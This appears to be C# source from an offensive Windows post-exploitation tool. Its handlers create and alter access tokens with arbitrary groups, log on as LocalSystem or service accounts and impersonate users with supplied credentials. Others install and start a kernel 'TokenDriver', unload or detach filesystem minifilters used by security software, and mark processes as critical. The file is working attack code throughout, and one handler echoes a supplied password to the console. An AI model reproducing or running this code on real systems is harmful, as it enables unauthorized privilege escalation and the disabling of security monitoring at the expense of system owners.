//////////////////////////////////////////////////////////////////////////////// // https://github.com/numbnet/Win32-OpenSSH/blob/8dd7423e13ac0b88b3084ec95bc93ea09dec1fef/contrib/win32/win32compat/win32auth.c // https://github.com/bb107/WinSudo/blob/b2cb7700bd2f7ee59e2ef7f9ca20c2a671ce72a8/PrivilegeHelps/Security.cpp // https://www.exploit-db.com/papers/42556 //////////////////////////////////////////////////////////////////////////////// private static void _CreateToken(CommandLineParsing cLP, IntPtr hToken) { try { using (CreateTokens ct = new CreateTokens(hToken)) { string[] groups = new string[0]; string g; if (cLP.GetData("groups", out g)) { groups = (g).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); } string user; if (cLP.GetData("username", out user)) { ct.SetWorkingTokenToSelf(); ct.CreateToken(user, groups, cLP.Command); } else { ct.SetWorkingTokenToSelf(); ct.CreateToken(groups, cLP.Command); } } } catch (AccessViolationException ex) { Console.WriteLine(ex); } }
internal static void Unload(CommandLineParsing cLP) { string filter; if (!cLP.GetData("filter", out filter)) { Console.WriteLine("[-] Filter Not Specified"); return; } uint result = fltlib.FilterUnload(filter); if (0 != result) { if (2147943714 == result) { Console.WriteLine("[-] Privilege Not Held (Probably SeLoadDriverPrivilege)"); return; } else if (2149515280 == result) { Console.WriteLine("[-] Filter does not have a detach routine"); return; } Console.WriteLine("FilterUnload Failed: 0x{0}", result.ToString("X4")); return; } Console.WriteLine("[+] Filter Unloaded"); }
//////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// private static void _UnInstallDriver(CommandLineParsing cLP) { string service; if (cLP.GetData("servicename", out service)) { using (PSExec p = new PSExec(service)) { if (!p.Connect(".")) { return; } if (!p.Open()) { return; } if (!p.Stop()) { return; } if (!p.Delete()) { return; } } } else { Console.WriteLine("[-] Unable to identify /Service"); } }
internal static void FilterDetach(CommandLineParsing cLP) { string filter; if (!cLP.GetData("filter", out filter)) { Console.WriteLine("[-] /Filter: Not Specified"); return; } string instance; if (!cLP.GetData("instance", out instance)) { Console.WriteLine("[-] /Instance: Not Specified"); return; } string volume; if (!cLP.GetData("volume", out volume)) { Console.WriteLine("[-] /Volume: Not Specified"); return; } uint result = fltlib.FilterDetach(filter, volume, instance); if (0 != result) { if (2147943714 == result) { Console.WriteLine("[-] Privilege Not Held (Probably SeLoadDriverPrivilege)"); return; } else if (2149515280 == result) { Console.WriteLine("[-] Filter does not have a detach routine"); return; } Console.WriteLine("FilterDetach Failed: 0x{0}", result.ToString("X4")); return; } Console.WriteLine("[+] Filter Detached"); }
//////////////////////////////////////////////////////////////////////////////// // Marks or unmarks a process as being critical //////////////////////////////////////////////////////////////////////////////// private static void _SetCriticalProcess(CommandLineParsing cLP, IntPtr hProcess) { string sSetting; cLP.GetData("state", out sSetting); bool bSetting; if (!bool.TryParse(sSetting, out bSetting)) { Console.WriteLine("[-] Invalid Boolean Specified: {0}", sSetting); return; } uint uSetting = Convert.ToUInt32(bSetting); if (cLP.Remote) { hProcess = kernel32.OpenProcess(ProcessThreadsApi.ProcessSecurityRights.PROCESS_SET_INFORMATION, false, (uint)cLP.ProcessID); if (IntPtr.Zero == hProcess) { Misc.GetWin32Error("OpenProcess"); kernel32.CloseHandle(hProcess); return; } } uint status = ntdll.NtSetInformationProcess(hProcess, ntdll._PROCESS_INFORMATION_CLASS.ProcessBreakOnTermination, ref uSetting, (uint)System.Runtime.InteropServices.Marshal.SizeOf(typeof(uint))); if (0 != status) { Misc.GetNtError("NtSetInformationProcess", status); kernel32.CloseHandle(hProcess); return; } if (bSetting) { Console.WriteLine("[+] Process {0} is Marked as Critical", cLP.ProcessID); } else { Console.WriteLine("[+] Process {0} is Unmarked as Critical", cLP.ProcessID); } kernel32.CloseHandle(hProcess); return; }
//////////////////////////////////////////////////////////////////////////////// // List the instances / volumes attached to for a given minifilter //////////////////////////////////////////////////////////////////////////////// private static void _ListFiltersInstances(CommandLineParsing cLP) { string filter; if (!cLP.GetData("filter", out filter)) { Console.WriteLine("[-] Filter Not Specified"); return; } using (FilterInstance filterInstance = new FilterInstance(filter)) { filterInstance.First(); filterInstance.Next(); } }
//////////////////////////////////////////////////////////////////////////////// // Use WMI to find processes that a user is running //////////////////////////////////////////////////////////////////////////////// private static void _FindUserProcessesWMI(CommandLineParsing cLP) { string user; if (!cLP.GetData("username", out user)) { Console.WriteLine("[-] Username not specified"); return; } Dictionary <uint, string> processes = UserSessions.EnumerateUserProcessesWMI(user); Console.WriteLine("{0,-30}{1,-30}", "Process ID", "Process Name"); Console.WriteLine("{0,-30}{1,-30}", "----------", "------------"); foreach (uint pid in processes.Keys) { Console.WriteLine("{0,-30}{1,-30}", pid, processes[pid]); } }
//////////////////////////////////////////////////////////////////////////////// // Starts the KernelTokens Driver //////////////////////////////////////////////////////////////////////////////// private static void _StartDriver(CommandLineParsing cLP) { string sn; if (!cLP.GetData("ServiceName", out sn)) { Console.WriteLine("[-] ServiceName not set"); return; } PSExec p = new PSExec(sn); if (!p.Connect(".")) { Console.WriteLine("[-] Unable to connect to service controller"); return; } if (!p.Start()) { return; } }
//////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// private static void _AddGroup(CommandLineParsing cLP, IntPtr hToken) { string groups; if (!cLP.GetData("groups", out groups)) { return; } using (TokenManipulation t = new TokenManipulation(hToken)) { if (cLP.Remote && t.OpenProcessToken(cLP.ProcessID)) { t.SetWorkingTokenToRemote(); } else { t.SetWorkingTokenToSelf(); } t.SetTokenGroup(groups, false); } }
//////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// private static void _LogonUser(CommandLineParsing cLP, IntPtr hToken) { string username; if (!cLP.GetData("username", out username)) { return; } string domain = "."; string password = string.Empty; Winbase.LOGON_TYPE logonType = Winbase.LOGON_TYPE.LOGON32_LOGON_INTERACTIVE; if (username.Contains('\\') && !username.ToLower().StartsWith("nt service")) { string[] split = username.Split('\\').ToArray(); domain = split.FirstOrDefault(); username = split.LastOrDefault(); if (!cLP.GetData("password", out password)) { return; } Console.WriteLine("User Logon"); } else if (username.Contains('\\') && username.ToLower().StartsWith("nt service")) { string[] split = username.Split('\\').ToArray(); username = split.LastOrDefault(); logonType = Winbase.LOGON_TYPE.LOGON32_LOGON_SERVICE; domain = "NT SERVICE"; Console.WriteLine("Service Logon"); } else { switch (username.ToLower().Trim()) { case "localservice": username = "******"; logonType = Winbase.LOGON_TYPE.LOGON32_LOGON_SERVICE; domain = "NT AUTHORITY"; break; case "localsystem": username = "******"; logonType = Winbase.LOGON_TYPE.LOGON32_LOGON_SERVICE; domain = "NT AUTHORITY"; break; case "networkservice": username = "******"; logonType = Winbase.LOGON_TYPE.LOGON32_LOGON_SERVICE; domain = "NT AUTHORITY"; break; default: cLP.GetData("password", out password); break; } } using (TokenManipulation t = new TokenManipulation(hToken)) { string groups; if (cLP.GetData("groups", out groups)) { t.LogonUser(domain, username, password, groups, logonType, cLP.Command, cLP.Arguments); } else { t.LogonUser(domain, username, password, logonType, cLP.Command, cLP.Arguments); } } }
//////////////////////////////////////////////////////////////////////////////// // sc create TokenDriver binPath="C:\Windows\System32\kerneltokens.sys" type=kernel //////////////////////////////////////////////////////////////////////////////// private static void _InstallDriver(CommandLineParsing cLP) { //string servicename = Misc.NextItem(ref command); //string path = Misc.NextItem(ref command); //string force = Misc.NextItem(ref command); string serviceName = "TokenDriver"; string sn; if (cLP.GetData("ServiceName", out sn)) { serviceName = sn; } string path = string.Empty; string p; if (cLP.GetData("Path", out p)) { path = (string)p; } bool overwrite = false; object f; if (cLP.GetData("Force", out f)) { overwrite = true; } Console.WriteLine("[*] Service Name: " + serviceName); Console.WriteLine("[*] Service Path: " + path); PSExec psexec = new PSExec(serviceName); if (!psexec.Connect(".")) { Console.WriteLine("[-] Unable to connect to service controller"); return; } string filename; try { filename = Path.GetFullPath(path); } catch (Exception ex) { if (ex is ArgumentException) { filename = CreateProcess.FindFilePath(path); if (string.IsNullOrEmpty(filename)) { Console.WriteLine("[-] Unable to locate service binary"); return; } } else { return; } } Console.WriteLine("[*] Full Path: " + filename); if (!File.Exists(filename)) { Console.WriteLine("[-] Unable to find service binary: {0}"); return; } if (!psexec.Open()) { if (!psexec.CreateDriver(filename, overwrite)) { return; } if (!psexec.Open()) { return; } } if (!psexec.Start()) { return; } }
//////////////////////////////////////////////////////////////////////////////// // Displays various token information //////////////////////////////////////////////////////////////////////////////// private static void _Info(CommandLineParsing cLP, IntPtr hToken) { using (TokenInformation t = new TokenInformation(hToken)) { if (cLP.Remote) { if (!t.OpenProcessToken(cLP.ProcessID)) { return; } t.SetWorkingTokenToRemote(); } else { t.SetWorkingTokenToSelf(); } hToken = t.GetWorkingToken(); Console.WriteLine("[*] Primary Token"); t.GetTokenUser(); Console.WriteLine(); Console.WriteLine("[*] Impersonation Tokens"); object obj; bool all = cLP.GetData("all", out obj); if (all) { t.ListThreads(cLP.ProcessID); t.GetThreadUsers(); Console.WriteLine(); } Console.WriteLine("[*] Primary Token Groups"); t.GetTokenGroups(); Console.WriteLine(); if (all) { t.GetTokenSource(); Console.WriteLine(); t.GetTokenPrivileges(); Console.WriteLine(); t.GetTokenOwner(); Console.WriteLine(); t.GetTokenPrimaryGroup(); Console.WriteLine(); t.GetTokenDefaultDacl(); Console.WriteLine(); Winnt._TOKEN_TYPE tokenType; TokenInformation.GetElevationType(hToken, out tokenType); TokenInformation.PrintElevation(hToken); } } }
//////////////////////////////////////////////////////////////////////////////// // This is probably going to break on certain consoles - e.g. Hangul || Kanji //////////////////////////////////////////////////////////////////////////////// private static void _RunAsNetOnly(CommandLineParsing cLP) { string[] domain_user; string domain; string username; string un; if (!cLP.GetData("username", out un)) { Console.WriteLine("[-] Username not specified"); return; } string userInfo = un; if (userInfo.Contains("\\")) { domain_user = userInfo .Split(new string[] { "\\" }, StringSplitOptions.RemoveEmptyEntries); domain = (2 == domain_user.Length) ? domain_user[0] : "."; username = (2 == domain_user.Length) ? domain_user[1] : domain_user[0]; } else if (userInfo.Contains("@")) { domain_user = userInfo .Split(new string[] { "@" }, StringSplitOptions.RemoveEmptyEntries); domain = (2 == domain_user.Length) ? domain_user[1] : "."; username = domain_user[0]; } else { domain = "."; username = userInfo; } string password; if (!cLP.GetData("password", out password)) { Console.WriteLine("[-] Password not specified"); return; } Console.WriteLine("[*] Username: {0}", username); Console.WriteLine("[*] Domain: {0}", domain); Console.WriteLine("[*] Password: {0}", password); if (string.IsNullOrEmpty(cLP.Command)) { IntPtr phToken; bool retVal = advapi32.LogonUser( username, domain, password, Winbase.LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS, Winbase.LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT, out phToken ); if (!retVal || IntPtr.Zero == phToken) { Misc.GetWin32Error("LogonUser"); return; } Winbase._SECURITY_ATTRIBUTES securityAttributes = new Winbase._SECURITY_ATTRIBUTES(); IntPtr phNewToken; advapi32.DuplicateTokenEx( phToken, (uint)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, ref securityAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, Winnt._TOKEN_TYPE.TokenImpersonation, out phNewToken ); kernel32.CloseHandle(phToken); if (!retVal || IntPtr.Zero == phNewToken) { Misc.GetWin32Error("DuplicateTokenEx"); return; } WindowsIdentity newId = new WindowsIdentity(phNewToken); WindowsImpersonationContext impersonatedUser = newId.Impersonate(); Console.WriteLine("[*] If you run \"info /all\", you should now see a thread token in the primary thread."); if (!retVal) { Misc.GetWin32Error("ImpersonateLoggedOnUser"); return; } Console.WriteLine("[+] Operating As: {0}", WindowsIdentity.GetCurrent().Name); } else { Console.WriteLine("[*] Command: {0}", cLP.Command); Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO { cb = (uint)System.Runtime.InteropServices.Marshal.SizeOf(typeof(Winbase._STARTUPINFO)) }; Winbase._PROCESS_INFORMATION processInformation; bool retVal = advapi32.CreateProcessWithLogonW( username, domain, password, Winbase.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, cLP.Command, cLP.Arguments, Winbase.CREATION_FLAGS.CREATE_NEW_PROCESS_GROUP, IntPtr.Zero, Environment.CurrentDirectory, ref startupInfo, out processInformation ); if (!retVal) { Misc.GetWin32Error("CreateProcessWithLogonW"); return; } Console.WriteLine("[+] Process ID: {0}", processInformation.dwProcessId); Console.WriteLine("[+] Thread ID: {0}", processInformation.dwThreadId); } }